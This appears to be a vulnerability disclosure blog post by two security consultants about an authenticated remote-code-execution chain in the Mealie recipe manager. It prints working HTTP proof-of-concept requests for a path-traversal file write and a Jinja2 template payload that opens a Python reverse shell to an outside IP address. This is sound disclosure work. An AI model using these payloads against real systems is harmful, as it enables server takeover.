A little bit about ourselves.

Bruno Hernandez, Cybersecurity Consultant at nVisium | Github | LinkedIn | huntr.dev report

Jon Gaines, Senior Cybersecurity Consultant at nVisium | Gainsec.com | GainSec Twitter | GainSec: CVE-2022-34625 post

MITRE

Target

Mealie Github

Mealie is a self hosted recipe manager and meal planner with a RestAPI backend and a reactive frontend application built in Vue for a pleasant user experience for the whole family. Easily add recipes into your database by providing the url and Mealie will automatically import the relevant data or add a family recipe with the UI editor. Mealie also provides an API for interactions from 3rd party applications.

After target selection, I and gainsec, another cybersecurity consultant, began our auditing process. Due to our training and experience at nVisium as experienced security consultants, we were able to perform an efficient and effective secure code review and dynamic assessment directly leading to us finding an authenticated RCE chain.

Path Traversal to Arbitrary File Write

The mealie application allows you to create recipes to share with others. A component of those recipes are “Assets”. These typically would be pictures, PDFs, Recipes exported, etc.

recipe

asset

As web application pentesters, file uploads always pique our interest. So we began looking at the source code.

Secure Code Review Reveals Path Traversal

Looking at the source code at https://github.com/hay-kot/mealie/blob/v1.0.0beta-3/mealie/routes/recipe/recipe_crud_routes.py , the vulnerability became apparent. The developer was calling slugify() ,which worked as a form of sanitization, on the name POST parameter but not on extension POST parameter. This means that tainted user input is being used as part of the file path (line 306) that the application ultimately writes the file to (line 313).

source

But what about the filename? You might ask. Those experienced with path traversal attacks will know that you cannot relative path your way out of a file that does not exist.

For example:

touch /tmp/doesnotexist/../pwn.txt

will not work because Linux will travel to /tmp/ then /tmp/doesnotexist before “going up” a directory and ultimately getting to pwn.txt. Since /tmp/doesnotexist does not exist, an error will occur and the file write will not execute. This is a problem since the application is still taking the filename and concatenating it with the extension after calling slugify() on the file name (recipe_crud_routes.py:306).

doesnotexist

Fuzz my slug

Theoretically if we could find a character that slugify() would convert into a dot, or that slugify() removed completely then our attack path would still work. After some fuzzing, we discovered that the $ symbol gets removed completely. That means that we can pass name=$&extension=./../../../../tmp/pwn.txt and our new recipe asset would turn into an arbitrary file write on the server. The extension value beginning with one dot instead of two is important for the attack to work since in recipe_crud_routes.py:306 the application is already adding a slash.

Arbitrary File Write

Proof of Concept:

POST /api/recipes/myrecipe/assets HTTP/1.1
Host: localhost:9091
Content-Length: 519
...
...

------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="file"; filename="evil.txt"
Content-Type: text/plain

oh noez, you've been had!

------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="name"

$
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="extension"

./../../../../../tmp/pwn
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="icon"

mdi-file
------WebKitFormBoundaryGUm7XAqXQKSpXihG--

poc

Now what?

As attackers, now that we have a strong attack primitive (Arbitrary File Write), we can start getting creative to get RCE. Since the files were being created by root in the Docker container, we could replace /etc/passwd, create a crontab, etc. but since there was templating functionality in the application that piqued our interest. Also, we wanted to have a self-contained RCE (RCE is always the goal >:) ) and not have any external dependencies for our exploit to work.

BYOT: Bring Your Own Template

We identified templating functionality as part of the recipes features in the application. The idea is that when you export a recipe, the recipe values get templated using Jinja2 templates to produce an HTML artifact. Since the templates were only accessible via local server access it is not far-fetched to think that this functionality is safe. But since we had an arbitrary file write, we could write our own template to the server.

If you know anything about Jinja2 templates, you know that they will execute server side code when rendered. This functionality in templating engines have led to a whole vulnerability class called Server-Side Template Injection (SSTI).

The last two steps were figuring out where to write the file to, and what functionality to hit that triggers the render.

Where to write to? This was easy enough since there was an appropriately named templates directory in the web root directory.

template

Lastly, how to trigger the render? The mealie developers do an excellent job at providing documentation in general. After reading through their API docs we found the exact endpoint to call.

apidoc

Now putting it all togethor.

Creating a malicious template (context-free reverse shell) Proof of Concept:

POST /api/recipes/myrecipe/assets HTTP/1.1
...
Connection: close

------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="file"; filename="evil.txt"
Content-Type: text/plain

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("172.17.0.1",53));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'').read() }}

------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="name"

$
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="extension"

./../../../../../../../app/data/templates/pwn.html
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="icon"

mdi-file
------WebKitFormBoundaryGUm7XAqXQKSpXihG--

Triggering the render and getting a reverse shell:

  1. Authenticate and authorize the OpenAPI spec at /docs/.
  2. Go to the GET /api/recipes/{slug}/exports endpoint.
  3. Put the slug (recipe name) as the slug value.
  4. Put the template name (pwn.html) as the template_name.
  5. Click Execute and get a reverse shell!

shell

Lessons Learned

Path traversal:

  • Tainted user input was being used as part of the file path where a file write was occurring. This is what ultimately led to the complete compromise of the mealie application and the underlying system. From a security perspective, it is unadvisable to mix user-controlled input with file paths that are going to be used in file writes. If you have to, ensure that the input is being sanitized, filtered, and/or validated.

Special Thanks

A special thanks to Hayden hay-kot the software engineer leading this open source project. We hope to maintain a working relationship with hay-kot and the open source community as we make our contributions from the offensive security perspective.